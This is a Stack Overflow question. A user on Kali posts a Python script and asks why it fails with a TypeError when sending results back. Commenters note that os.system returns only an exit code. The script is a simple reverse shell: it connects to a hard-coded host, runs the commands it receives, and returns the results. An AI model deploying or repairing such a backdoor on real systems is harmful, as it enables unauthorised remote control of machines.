0
import socket, os, sys, subprocess

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

host = '192.168.1.81'
port = int(sys.argv[1])

s.connect((host, port))

done = False

while not done:
    print ('Waiting for data....')
    data_enc = s.recv(1024)
    data = data_enc.decode()
    result = os.system(str(data))
    s.send(str.encode(result))

here is my code and the error is

Traceback (most recent call last):
  File "trap.py", line 17, in <module>
    s.send(str.encode(result))
TypeError: descriptor 'encode' requires a 'str' object but received a '    int'

when I checked the value of result variable it was 0, but on the machine the subprocess results were fine (when I used 'ls' command it showed the files).

I am using python 3 and I tried to run this code on Kali distribution.

Graipher
  • 6,891
  • 27
  • 47
  • I then tried it with os.system() but still the same :( – freequest Jan 24 '18 at 14:10
  • 2
    os.system will always return 0 or 1 which is success or failure. It will useful only if you share your subprocess code also. – taz Jan 24 '18 at 14:14
  • 2
    Possible duplicate of [Assign output of os.system to a variable and prevent it from being displayed on the screen](https://stackoverflow.com/questions/3503879/assign-output-of-os-system-to-a-variable-and-prevent-it-from-being-displayed-on) – tripleee Jan 24 '18 at 14:20

0 Answers0